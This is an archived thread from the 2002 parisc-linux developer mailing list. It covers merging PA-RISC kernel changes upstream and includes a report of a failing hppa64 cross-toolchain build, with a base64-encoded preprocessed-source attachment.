To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:47:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2892E489B
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:47:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Uq5s-0006ZO-00; Wed, 17 Jul 2002 15:47:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026919215.1688.140.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Wed, Jul 17, 2002 at 04:20:15PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15543

On Wed, Jul 17, 2002 at 04:20:15PM +0100, Alan Cox wrote:
> On Wed, 2002-07-17 at 14:45, Matthew Wilcox wrote:
> > Joel, the -ac series will NOT contain all the changes necessary to build
> > on PA.
>  
> Yet 8)

You told me you'd never accept the LOFF_T hacks i made to readv/writev ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: 17 Jul 2002 17:05:26 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1026921926.1687.146.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
	<1026913104.3d357350a4057@webmail.tiscalinet.be>
	<20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
	<1026919215.1688.140.camel@irongate.swansea.linux.org.uk> 
	<20020717154756.B13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621535 11089 80.91.229.3 (22 Nov 2014 01:58:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:55 +0000 (UTC)
Cc: joel.soete@freebel.net, HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:55:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D70F4871
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:55:46 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HG5Ru6006817;
	Wed, 17 Jul 2002 17:05:28 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HG5QNm006815;
	Wed, 17 Jul 2002 17:05:26 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020717154756.B13352@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15544

On Wed, 2002-07-17 at 15:47, Matthew Wilcox wrote:
> On Wed, Jul 17, 2002 at 04:20:15PM +0100, Alan Cox wrote:
> > On Wed, 2002-07-17 at 14:45, Matthew Wilcox wrote:
> > > Joel, the -ac series will NOT contain all the changes necessary to build
> > > on PA.
> >  
> > Yet 8)
> 
> You told me you'd never accept the LOFF_T hacks i made to readv/writev ;-)

Indeed. I'd rather you stuck parisc_readv/writev in and those did the
magic stack rejig. 

Alan



From - Thu Nov 08 21:23:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: 17 Jul 2002 17:07:40 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1026922060.5709.148.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
	<1026913104.3d357350a4057@webmail.tiscalinet.be>
	<20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
	<1026914852.3d357a24c4a4a@webmail.tiscalinet.be> 
	<20020717142915.GG641@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621536 11101 80.91.229.3 (22 Nov 2014 01:58:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:56 +0000 (UTC)
Cc: joel.soete@freebel.net, HPPA List <parisc-linux@parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 08:57:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF3D248B9
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:57:25 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HG7gu6006831;
	Wed, 17 Jul 2002 17:07:42 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HG7eXa006829;
	Wed, 17 Jul 2002 17:07:40 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020717142915.GG641@tausq.org>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15545

On Wed, 2002-07-17 at 15:29, Randolph Chung wrote:
> willy made a good point that as much as possible we don't want upstream
> pa bits to be newer than what we have in cvs, otherwise merging 
> will be much more difficult later on.

Marcelo merged a load of mips bits for 2.4.19rc2, he may be willing to
take a sort of "toilet flush" of arch/parisc and include/asm-parisc to
get the diff size down while knowing it touches no code that can
actually do harm.

I'll ask



From - Thu Nov 08 21:23:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 08:03:50 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020717150349.GN8724@tausq.org>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621536 11102 80.91.229.3 (22 Nov 2014 01:58:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:56 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 09:00:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id A025448B9
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:00:59 -0600 (MDT)
Original-Received: (qmail 29635 invoked from network); 17 Jul 2002 15:00:58 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <alan@lxorguk.ukuu.org.uk>; 17 Jul 2002 15:00:58 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 11C19CE04E; Wed, 17 Jul 2002 08:03:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026922060.5709.148.camel@irongate.swansea.linux.org.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15546

> Marcelo merged a load of mips bits for 2.4.19rc2, he may be willing to
> take a sort of "toilet flush" of arch/parisc and include/asm-parisc to
> get the diff size down while knowing it touches no code that can
> actually do harm.

Good to know. Incidentally I noticed the asm/pg{alloc,table}.h in your
tree is quite different from what we have in parisc cvs, and doesn't 
really compile. Any particular reasons?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Toolchain testing.
Date: Wed, 17 Jul 2002 11:08:37 -0400
Lines: 781
Approved: news@gmane.org
Message-ID: <20020717150837.GA3602@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="OgqxwSJOaUobr8KG"
X-Trace: ger.gmane.org 1416621536 11107 80.91.229.3 (22 Nov 2014 01:58:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 09:10:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F9834874
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:10:20 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17UqPu-0000zL-00
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:08:38 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (31% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15547

--OgqxwSJOaUobr8KG
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


Parisc,

Started testing toolchain builds using some of the new 
scripts I'm building for 'cross-check' ... right off the
bat, the first toolchain test permuation doesn't work :)

Toolchain Test 1:

Crossing from hppa -> hppa64

Using: 

Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-included-gettext --disable-checking --enable-threads=posix --with-cpp-install-dir=bin --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.0.4

GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
Supported emulations:
    hppalinux
    hppa64linux

Uses debianized binutils/gcc/glibc from 'testing' for HPPA.

binutils - binutils-2.12.90.0.1
gcc - gcc-3.0-3.0.4ds3
glibc - glibc_2.2.5-7

Binutils builds/installs ok.

GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
  Supported emulations:
     hppa64linux

Unfortunately gcc dies while compiling gengenrtl.c ... looks
like something didn't get #define'd properly.

Attached is the build.log (and -E). If anyone has any idea why it
croaks, and what might be missing? I've been scratching my
head most of the evening... :}

c.
---

Note:
I have modified the control files for all three pieces of
the toolchain. This was done with extreme care. The three
pieces of the toolchain now allow for much finer-grained
compile time options that can be eventually set by 
dpkg-buildpackage (or a magical dpkg-compile... or an 
enhanced dpkg-architecture ... or whatever)


--OgqxwSJOaUobr8KG
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="gengenrtl.e.gz"
Content-Transfer-Encoding: base64

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
